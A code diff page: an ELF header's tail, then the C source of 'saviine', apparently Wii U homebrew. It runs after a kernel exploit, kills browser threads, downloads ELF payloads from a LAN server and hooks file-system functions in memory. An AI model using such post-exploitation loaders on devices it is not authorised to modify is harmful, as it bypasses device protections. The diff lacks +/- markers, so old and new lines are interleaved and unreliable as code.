#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
#define SHT_NUM 19 /* number of section types */
#define SHT_LOOS 0x60000000 /* Start OS-specific */
#define SHT_HIOS 0x6fffffff /* End OS-specific */
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
#define SHT_HIPROC 0x7fffffff /* specific section header types */
#define SHT_LOUSER 0x80000000 /* reserved range for application */
#define SHT_HIUSER 0xffffffff /* specific indexes */
/* Section names */
#define ELF_BSS ".bss" /* uninitialized data */
#define ELF_COMMENT ".comment" /* version control information */
#define ELF_DATA ".data" /* initialized data */
#define ELF_DATA1 ".data1" /* initialized data */
#define ELF_DEBUG ".debug" /* debug */
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
#define ELF_FINI ".fini" /* termination code */
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
#define ELF_GOT ".got" /* global offset table */
#define ELF_HASH ".hash" /* symbol hash table */
#define ELF_INIT ".init" /* initialization code */
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
#define ELF_LINE ".line" /* Symbolic line numnber information */
#define ELF_NOTE ".note" /* Contains note section */
#define ELF_PLT ".plt" /* Procedure linkage table */
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
#define ELF_REL_DATA ".rel.data" /* relocation data */
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
#define ELF_REL_TEXT ".rel.text" /* relocation code */
#define ELF_RODATA ".rodata" /* read-only data */
#define ELF_RODATA1 ".rodata1" /* read-only data */
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
#define ELF_STRTAB ".strtab" /* string table */
#define ELF_SYMTAB ".symtab" /* symbol table */
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
#define ELF_TBSS ".tbss" /* thread local uninit data */
#define ELF_TDATA ".tdata" /* thread local init data */
#define ELF_TDATA1 ".tdata1" /* thread local init data */
#define ELF_TEXT ".text" /* code */
/* Section Attribute Flags - sh_flags */
#define SHF_WRITE 0x1 /* Writable */
#define SHF_ALLOC 0x2 /* occupies memory */
#define SHF_EXECINSTR 0x4 /* executable */
#define SHF_MERGE 0x10 /* Might be merged */
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
#define SHF_GROUP 0x200 /* Member of section group */
#define SHF_TLS 0x400 /* Thread local storage */
#define SHF_MASKOS 0x0ff00000 /* OS specific */
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific section attributes */
/* Section Group Flags */
#define GRP_COMDAT 0x1 /* COMDAT group */
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
/* Symbol Table Entry */
typedef struct elf32_sym {
Elf32_Word st_name; /* name - index into string table */
Elf32_Addr st_value; /* symbol value */
Elf32_Word st_size; /* symbol size */
unsigned char st_info; /* type and binding */
unsigned char st_other; /* 0 - no defined meaning */
Elf32_Half st_shndx; /* section header index */
} Elf32_Sym;
/* Symbol table index */
#define STN_UNDEF 0 /* undefined */
/* Extract symbol info - st_info */
#define ELF32_ST_BIND(x) ((x) >> 4)
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
/* Symbol Binding - ELF32_ST_BIND - st_info */
#define STB_LOCAL 0 /* Local symbol */
#define STB_GLOBAL 1 /* Global symbol */
#define STB_WEAK 2 /* like global - lower precedence */
#define STB_NUM 3 /* number of symbol bindings */
#define STB_LOOS 10 /* reserved range for operating */
#define STB_HIOS 12 /* system specific symbol bindings */
#define STB_LOPROC 13 /* reserved range for processor */
#define STB_HIPROC 15 /* specific symbol bindings */
/* Symbol type - ELF32_ST_TYPE - st_info */
#define STT_NOTYPE 0 /* not specified */
#define STT_OBJECT 1 /* data object */
#define STT_FUNC 2 /* function */
#define STT_SECTION 3 /* section */
#define STT_FILE 4 /* file */
#define STT_NUM 5 /* number of symbol types */
#define STT_TLS 6 /* Thread local storage symbol */
#define STT_LOOS 10 /* reserved range for operating */
#define STT_HIOS 12 /* system specific symbol types */
#define STT_LOPROC 13 /* reserved range for processor */
#define STT_HIPROC 15 /* specific symbol types */
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
#define STV_DEFAULT 0 /* Normal visibility rules */
#define STV_INTERNAL 1 /* Processor specific hidden class */
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
#define STV_PROTECTED 3 /* Not preemptible, not exported */
/* Relocation entry with implicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
} Elf32_Rel;
/* Relocation entry with explicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
Elf32_Sword r_addend;
} Elf32_Rela;
/* Extract relocation info - r_info */
#define ELF32_R_SYM(i) ((i) >> 8)
#define ELF32_R_TYPE(i) ((unsigned char) (i))
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
/* Program Header */
typedef struct {
Elf32_Word p_type; /* segment type */
Elf32_Off p_offset; /* segment offset */
Elf32_Addr p_vaddr; /* virtual address of segment */
Elf32_Addr p_paddr; /* physical address - ignored? */
Elf32_Word p_filesz; /* number of bytes in file for seg. */
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
Elf32_Word p_flags; /* flags */
Elf32_Word p_align; /* memory alignment */
} Elf32_Phdr;
/* Segment types - p_type */
#define PT_NULL 0 /* unused */
#define PT_LOAD 1 /* loadable segment */
#define PT_DYNAMIC 2 /* dynamic linking section */
#define PT_INTERP 3 /* the RTLD */
#define PT_NOTE 4 /* auxiliary information */
#define PT_SHLIB 5 /* reserved - purpose undefined */
#define PT_PHDR 6 /* program header */
#define PT_TLS 7 /* Thread local storage template */
#define PT_NUM 8 /* Number of segment types */
#define PT_LOOS 0x60000000 /* reserved range for operating */
#define PT_HIOS 0x6fffffff /* system specific segment types */
#define PT_LOPROC 0x70000000 /* reserved range for processor */
#define PT_HIPROC 0x7fffffff /* specific segment types */
/* Segment flags - p_flags */
#define PF_X 0x1 /* Executable */
#define PF_W 0x2 /* Writable */
#define PF_R 0x4 /* Readable */
#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */
#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific segment flags */
/* Dynamic structure */
typedef struct
{
Elf32_Sword d_tag; /* controls meaning of d_val */
union
{
Elf32_Word d_val; /* Multiple meanings - see d_tag */
Elf32_Addr d_ptr; /* program virtual address */
} d_un;
} Elf32_Dyn;
extern Elf32_Dyn _DYNAMIC[];
/* Dynamic Array Tags - d_tag */
#define DT_NULL 0 /* marks end of _DYNAMIC array */
#define DT_NEEDED 1 /* string table offset of needed lib */
#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */
#define DT_PLTGOT 3 /* address PLT/GOT */
#define DT_HASH 4 /* address of symbol hash table */
#define DT_STRTAB 5 /* address of string table */
#define DT_SYMTAB 6 /* address of symbol table */
#define DT_RELA 7 /* address of relocation table */
#define DT_RELASZ 8 /* size of relocation table */
#define DT_RELAENT 9 /* size of relocation entry */
#define DT_STRSZ 10 /* size of string table */
#define DT_SYMENT 11 /* size of symbol table entry */
#define DT_INIT 12 /* address of initialization func. */
#define DT_FINI 13 /* address of termination function */
#define DT_SONAME 14 /* string table offset of shared obj */
#define DT_RPATH 15 /* string table offset of library
search path */
#define DT_SYMBOLIC 16 /* start sym search in shared obj. */
#define DT_REL 17 /* address of rel. tbl. w addends */
#define DT_RELSZ 18 /* size of DT_REL relocation table */
#define DT_RELENT 19 /* size of DT_REL relocation entry */
#define DT_PLTREL 20 /* PLT referenced relocation entry */
#define DT_DEBUG 21 /* bugger */
#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */
#define DT_JMPREL 23 /* add. of PLT's relocation entries */
#define DT_BIND_NOW 24 /* Process relocations of object */
#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */
#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */
#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */
#define DT_RUNPATH 29 /* Library search path */
#define DT_FLAGS 30 /* Flags for the object being loaded */
#define DT_ENCODING 32 /* Start of encoded range */
#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/
#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */
#define DT_NUM 34 /* Number used. */
#define DT_LOOS 0x60000000 /* reserved range for OS */
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
#define DT_LOPROC 0x70000000 /* reserved range for processor */
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
/* Dynamic Tag Flags - d_un.d_val */
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
#define DF_TEXTREL 0x04 /* Object contains text relocations */
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
/* Standard ELF hashing function */
unsigned long elf_hash(const unsigned char *name);
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
/*
* XXX - PowerPC defines really don't belong in here,
* but we'll put them in for simplicity.
*/
/* Values for Elf32/64_Ehdr.e_flags. */
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
/* Cygnus local bits below */
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
flag */
/* PowerPC relocations defined by the ABIs */
#define R_PPC_NONE 0
#define R_PPC_ADDR32 1 /* 32bit absolute address */
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
#define R_PPC_ADDR16 3 /* 16bit absolute address */
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
#define R_PPC_ADDR14_BRTAKEN 8
#define R_PPC_ADDR14_BRNTAKEN 9
#define R_PPC_REL24 10 /* PC relative 26 bit */
#define R_PPC_REL14 11 /* PC relative 16 bit */
#define R_PPC_REL14_BRTAKEN 12
#define R_PPC_REL14_BRNTAKEN 13
#define R_PPC_GOT16 14
#define R_PPC_GOT16_LO 15
#define R_PPC_GOT16_HI 16
#define R_PPC_GOT16_HA 17
#define R_PPC_PLTREL24 18
#define R_PPC_COPY 19
#define R_PPC_GLOB_DAT 20
#define R_PPC_JMP_SLOT 21
#define R_PPC_RELATIVE 22
#define R_PPC_LOCAL24PC 23
#define R_PPC_UADDR32 24
#define R_PPC_UADDR16 25
#define R_PPC_REL32 26
#define R_PPC_PLT32 27
#define R_PPC_PLTREL32 28
#define R_PPC_PLT16_LO 29
#define R_PPC_PLT16_HI 30
#define R_PPC_PLT16_HA 31
#define R_PPC_SDAREL16 32
#define R_PPC_SECTOFF 33
#define R_PPC_SECTOFF_LO 34
#define R_PPC_SECTOFF_HI 35
#define R_PPC_SECTOFF_HA 36
/* Keep this the last entry. */
#define R_PPC_NUM 37
/* The remaining relocs are from the Embedded ELF ABI, and are not
in the SVR4 ELF ABI. */
#define R_PPC_EMB_NADDR32 101
#define R_PPC_EMB_NADDR16 102
#define R_PPC_EMB_NADDR16_LO 103
#define R_PPC_EMB_NADDR16_HI 104
#define R_PPC_EMB_NADDR16_HA 105
#define R_PPC_EMB_SDAI16 106
#define R_PPC_EMB_SDA2I16 107
#define R_PPC_EMB_SDA2REL 108
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
#define R_PPC_EMB_MRKREF 110
#define R_PPC_EMB_RELSEC16 111
#define R_PPC_EMB_RELST_LO 112
#define R_PPC_EMB_RELST_HI 113
#define R_PPC_EMB_RELST_HA 114
#define R_PPC_EMB_BIT_FLD 115
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
/* Diab tool relocations. */
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
/* This is a phony reloc to handle any old fashioned TOC16 references
that may still be in object files. */
#define R_PPC_TOC16 255
#endif /* _ELF_H */

View File

@ -1,226 +1,625 @@
#include "saviine.h"
#include "elf_abi.h"
#include "../../../../libwiiu/src/coreinit.h"
#include "../../../../libwiiu/src/socket.h"
#include "../../../../libwiiu/src/vpad.h"
#define assert(x) \
do { \
if (!(x)) \
OSFatal("Assertion failed " #x ".\n"); \
} while (0)
#if VER == 532
#include "saviine532.h"
// Includes
#define socket_lib_finish ((void (*)(void))0x10c0404)
// Function definitions
#define _Exit ((void (*)(void))0x0101cd70)
#define OSEffectiveToPhysical ((void* (*)(const void*))0x0101f510)
#define memcpy ((void * (*)(void * dest, const void * src, int num))0x1035a6c)
#define DCFlushRange ((void (*)(const void *addr, uint length))0x1023ee8)
#define ICInvalidateRange ((void (*)(const void *addr, uint length))0x1024010)
// Install addresses
// #define INSTALL_MENU_ADDR 0x011dd000 // where the menu is copied in memory
// #define INSTALL_LOADER_ADDR 0x011df000 // where the loader code is copied in memory
#define INSTALL_FS_ADDR 0x011e0000 // where the fs functions are copied in memory
#define KERN_ADDRESS_TBL 0xFFEAAA10
#define socket_lib_finish ((void (*)(void))0x10c0404)
// Install flags
#define INSTALL_FS_DONE_ADDR (INSTALL_FS_ADDR - 0x4) // Used to know if fs is already installed
#define INSTALL_FS_DONE_FLAG 0xCACACACA
// IP settings //
#define DEFAULT_SERVER_IP 0xC0A80102
/* Where to install the saviine handler. */
#define INSTALL_ADDR ((void *)0x011de000)
#define KERN_ADDRESS_TBL 0xFFEAAA10
#endif
void kern_write(void *addr, uint32_t value);
#define DEFAULT_SERVER_IP 0xC0A8010A
#define PRINT_TEXT1(x, y, str) { OSScreenPutFontEx(1, x, y, str); }
#define PRINT_TEXT2(x, y, _fmt, ...) { __os_snprintf(msg, 80, _fmt, __VA_ARGS__); OSScreenPutFontEx(1, x, y, msg); }
#define BTN_PRESSED (BUTTON_LEFT | BUTTON_RIGHT | BUTTON_UP | BUTTON_DOWN)
typedef union u_serv_ip
{
uint8_t digit[4];
uint32_t full;
} u_serv_ip;
void start() {
typedef struct {
char tag[8]; /* 0x000 "OSContxt" */
int32_t gpr[32]; /* 0x008 from OSDumpContext */
uint32_t cr; /* 0x088 from OSDumpContext */
uint32_t lr; /* 0x08c from OSDumpContext */
uint32_t ctr; /* 0x090 from context switch code */
uint32_t xer; /* 0x094 from context switch code */
uint32_t srr0; /* 0x098 from OSDumpContext */
uint32_t srr1; /* 0x09c from OSDumpContext */
char _unknowna0[0xb8 - 0xa0];
uint64_t fpr[32]; /* 0x0b8 from OSDumpContext */
int16_t spinLockCount; /* 0x1b8 from OSDumpContext */
char _unknown1ba[0x1bc - 0x1ba]; /* 0x1ba could genuinely be padding? */
uint32_t gqr[8]; /* 0x1bc from OSDumpContext */
char _unknown1dc[0x1e0 - 0x1dc];
uint64_t psf[32]; /* 0x1e0 from OSDumpContext */
int64_t coretime[3]; /* 0x2e0 from OSDumpContext */
int64_t starttime; /* 0x2f8 from OSDumpContext */
int32_t error; /* 0x300 from OSDumpContext */
char _unknown304[0x6a0 - 0x304];
} __attribute__((packed)) OSThread; /* 0x6a0 total length from RAM dumps */
typedef struct {
unsigned char *data;
int len;
int alloc_size;
void*(*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align);
void(*MEMFreeToDefaultHeap)(void *ptr);
} file_struct_t;
typedef struct {
unsigned char *data_menu;
unsigned char *data_loader;
unsigned char *data_fs;
int len_menu;
int len_loader;
int len_fs;
unsigned int coreinit_handle;
/* function pointers */
void*(*memset)(void * dest, unsigned int value, unsigned int bytes);
void*(*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align);
void(*MEMFreeToDefaultHeap)(void *ptr);
void*(*curl_easy_init)();
void(*curl_easy_setopt)(void *handle, unsigned int param, void *op);
int(*curl_easy_perform)(void *handle);
void(*curl_easy_getinfo)(void *handle, unsigned int param, void *op);
void (*curl_easy_cleanup)(void *handle);
} private_data_t;
/* Install functions */
static void InstallFS(private_data_t *private_data);
static int show_ip_selection_screen(unsigned int coreinit_handle, unsigned int *ip_address);
static void curl_thread_callback(int argc, void *argv);
/* ****************************************************************** */
/* ENTRY POINT */
/* ****************************************************************** */
void _start()
{
/* Load a good stack */
asm(
"lis %r1, 0x1ab5 ;"
"ori %r1, %r1, 0xd138 ;"
);
/* Get a handle to coreinit.rpl. */
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
/* Make sure the kernel exploit has been run */
if (OSEffectiveToPhysical((void *)0xa0000000) != (void *)0x31000000)
{
OSFatal("No ksploit.");
}
else
{
private_data_t private_data;
/* Load a few useful symbols. */
void (*_Exit)(void) __attribute__ ((noreturn));
void (*DCFlushRange)(const void *, int);
void *(*OSEffectiveToPhysical)(const void *);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
assert(_Exit);
assert(DCFlushRange);
assert(OSEffectiveToPhysical);
/* Exploit proper begins here. */
if (OSEffectiveToPhysical((void *)0xa0000000) != (void *)0x31000000) {
OSFatal("no ksploit");
} else {
/* Second run. */
/* ****************************************************************** */
/* IP Settings */
/* ****************************************************************** */
/* Get coreinit handle and keep it in memory */
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit", &coreinit_handle);
private_data.coreinit_handle = coreinit_handle;
// Set server ip
u_serv_ip ip;
ip.full = DEFAULT_SERVER_IP;
/* Get our memory functions */
void*(*memset)(void * dest, unsigned int value, unsigned int bytes);
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
memset(&private_data, 0, sizeof(private_data_t));
private_data.memset = memset;
// Prepare screen
void (*OSScreenInit)();
unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum);
unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer);
unsigned int *functionPointer = 0;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer);
private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int size, unsigned int align))*functionPointer;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer);
private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
/* Get functions to send restart signal */
int(*IM_Open)();
int(*IM_Close)(int fd);
int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
void*(*OSAllocFromSystem)(unsigned int size, int align);
void(*OSFreeToSystem)(void *ptr);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
int screen_buf0_size = 0;
int screen_buf1_size = 0;
uint32_t screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a;
char msg[80];
/* Send restart signal to get rid of uneeded threads */
/* Cause the other browser threads to exit */
int fd = IM_Open();
void *mem = OSAllocFromSystem(0x100, 64);
memset(mem, 0, 0x100);
// Init screen
OSScreenInit();
/* Sets wanted flag */
IM_SetDeviceState(fd, mem, 3, 0, 0);
IM_Close(fd);
OSFreeToSystem(mem);
// Set screens buffers
screen_buf0_size = OSScreenGetBufferSizeEx(0);
screen_buf1_size = OSScreenGetBufferSizeEx(1);
/* Waits for thread exits */
unsigned int t1 = 0x1FFFFFFF;
while(t1--) ;
OSScreenSetBufferEx(0, (void *)0xF4000000);
OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size);
/* Prepare for thread startups */
int (*OSCreateThread)(OSThread *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr);
int (*OSResumeThread)(OSThread *thread);
int (*OSIsThreadTerminated)(OSThread *thread);
// Clear screens
OSScreenClearBufferEx(0, screen_color);
OSScreenClearBufferEx(1, screen_color);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
// Flush the cache
DCFlushRange((void *)0xF4000000, screen_buf0_size);
DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size);
/* Allocate a stack for the thread */
/* IMPORTANT: libcurl uses around 0x1000 internally so make
sure to allocate more for the stack to avoid crashes */
void *stack = private_data.MEMAllocFromDefaultHeapEx(0x2000, 0x20);
/* Create the thread variable */
OSThread *thread = (OSThread *) private_data.MEMAllocFromDefaultHeapEx(sizeof(OSThread), 8);
if(!thread || !stack)
OSFatal("Thread memory allocation failed.");
// Flip buffers
OSScreenFlipBuffersEx(0);
OSScreenFlipBuffersEx(1);
// Prepare vpad
unsigned int vpad_handle;
int (*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
OSDynLoad_Acquire("vpad.rpl", &vpad_handle);
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
// the thread stack is too small on current thread, switch to an own created thread
// create a detached thread with priority 0 and use core 1
int ret = OSCreateThread(thread, curl_thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x2000, 0x2000, 0, 0x1A);
if (ret == 0)
OSFatal("Failed to create thread");
// Set server ip with buttons
uint8_t sel_ip = 3;
int error;
uint8_t button_pressed = 1;
VPADData vpad_data;
VPADRead(0, &vpad_data, 1, &error); //Read initial vpad status
while (1)
/* Schedule it for execution */
OSResumeThread(thread);
/* while we are downloading let the user select his IP stuff */
unsigned int ip_address = 0;
int result = show_ip_selection_screen(coreinit_handle, &ip_address);
// Keep this main thread around for ELF loading
// Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate
while(OSIsThreadTerminated(thread) == 0)
{
// Refresh screen if needed
if (button_pressed) { OSScreenFlipBuffersEx(1); OSScreenClearBufferEx(1, 0); }
asm volatile (
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
);
}
// Print message
PRINT_TEXT1(18, 1, "-- SAVIINE (a cafiine mod) --");
PRINT_TEXT2(0, 5, "%s : %3d.%3d.%3d.%3d", "1. Server IP", ip.digit[0], ip.digit[1], ip.digit[2], ip.digit[3]);
PRINT_TEXT1(0, 6, "2. Press A to install saviine");
PRINT_TEXT1(42, 17, "home button to exit ...");
// Print ip digit selector
uint8_t x_shift = 15 + 4 * sel_ip;
PRINT_TEXT1(x_shift, 4, "vvv");
/* Free thread memory and stack */
private_data.MEMFreeToDefaultHeap(thread);
private_data.MEMFreeToDefaultHeap(stack);
// Read vpad
VPADRead(0, &vpad_data, 1, &error);
/* Install our ELF files */
if(result){
InstallFS(&private_data);
/* patch server IP */
*((volatile unsigned int *)(INSTALL_FS_ADDR + 0xa0000000)) = ip_address;
}
// Update screen
if (button_pressed)
{
OSScreenFlipBuffersEx(1);
OSScreenClearBufferEx(1, 0);
/* free memory allocated */
if(private_data.data_menu) {
private_data.MEMFreeToDefaultHeap(private_data.data_menu);
}
if(private_data.data_loader) {
private_data.MEMFreeToDefaultHeap(private_data.data_loader);
}
if(private_data.data_fs) {
private_data.MEMFreeToDefaultHeap(private_data.data_fs);
}
}
_Exit();
}
/* IP selection screen implemented by Maschell */
static int show_ip_selection_screen(unsigned int coreinit_handle, unsigned int *ip_address)
{
/************************************************************************/
// Prepare screen
void (*OSScreenInit)();
unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum);
unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
/* ****************************************************************** */
/* IP Settings */
/* ****************************************************************** */
// Set server ip
u_serv_ip ip;
ip.full = DEFAULT_SERVER_IP;
char msg[80];
// Prepare screen
int screen_buf0_size = 0;
int screen_buf1_size = 0;
uint screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a;
// Init screen and screen buffers
OSScreenInit();
screen_buf0_size = OSScreenGetBufferSizeEx(0);
screen_buf1_size = OSScreenGetBufferSizeEx(1);
OSScreenSetBufferEx(0, (void *)0xF4000000);
OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size);
// Clear screens
OSScreenClearBufferEx(0, screen_color);
OSScreenClearBufferEx(1, screen_color);
// Flush the cache
DCFlushRange((void *)0xF4000000, screen_buf0_size);
DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size);
// Flip buffers
OSScreenFlipBuffersEx(0);
OSScreenFlipBuffersEx(1);
// Prepare vpad
unsigned int vpad_handle;
int (*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
OSDynLoad_Acquire("vpad.rpl", &vpad_handle);
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
// Set server ip with buttons
uint8_t sel_ip = 3;
int error;
uint8_t update_screen = 1; // refresh screen initially
VPADData vpad_data;
VPADRead(0, &vpad_data, 1, &error); //Read initial vpad status
int noip = 1;
int result = 0;
int delay = 0;
while (1)
{
// Print message
PRINT_TEXT1(14, 1, "-- SAVIINE 0.3 (a cafiine mod) --");
PRINT_TEXT2(0, 5, "%s : %3d.%3d.%3d.%3d", "1. Server IP", ip.digit[0], ip.digit[1], ip.digit[2], ip.digit[3]);
PRINT_TEXT1(0, 6, "2. Press A to install saviine");
PRINT_TEXT1(42, 17, "home button to exit ...");
// Print ip digit selector
uint8_t x_shift = 15 + 4 * sel_ip;
PRINT_TEXT1(x_shift, 4, "vvv");
// Refresh screen if needed
if (update_screen)
{
OSScreenFlipBuffersEx(1);
OSScreenClearBufferEx(1, 0);
}
// Read vpad
VPADRead(0, &vpad_data, 1, &error);
// Check for buttons
// Home Button
if (vpad_data.btn_trigger & BUTTON_HOME) {
result = 0;
break;
}
// A Button
if (vpad_data.btn_trigger & BUTTON_A){
*ip_address = ip.full;
result = 1;
break;
}
// Left/Right Buttons
if (vpad_data.btn_trigger & BUTTON_LEFT ) sel_ip = !sel_ip ? sel_ip = 3 : --sel_ip;
if (vpad_data.btn_trigger & BUTTON_RIGHT) sel_ip = ++sel_ip % 4;
// Up/Down Buttons
if ((vpad_data.btn_hold & BUTTON_UP) || (vpad_data.btn_trigger & BUTTON_UP)) {
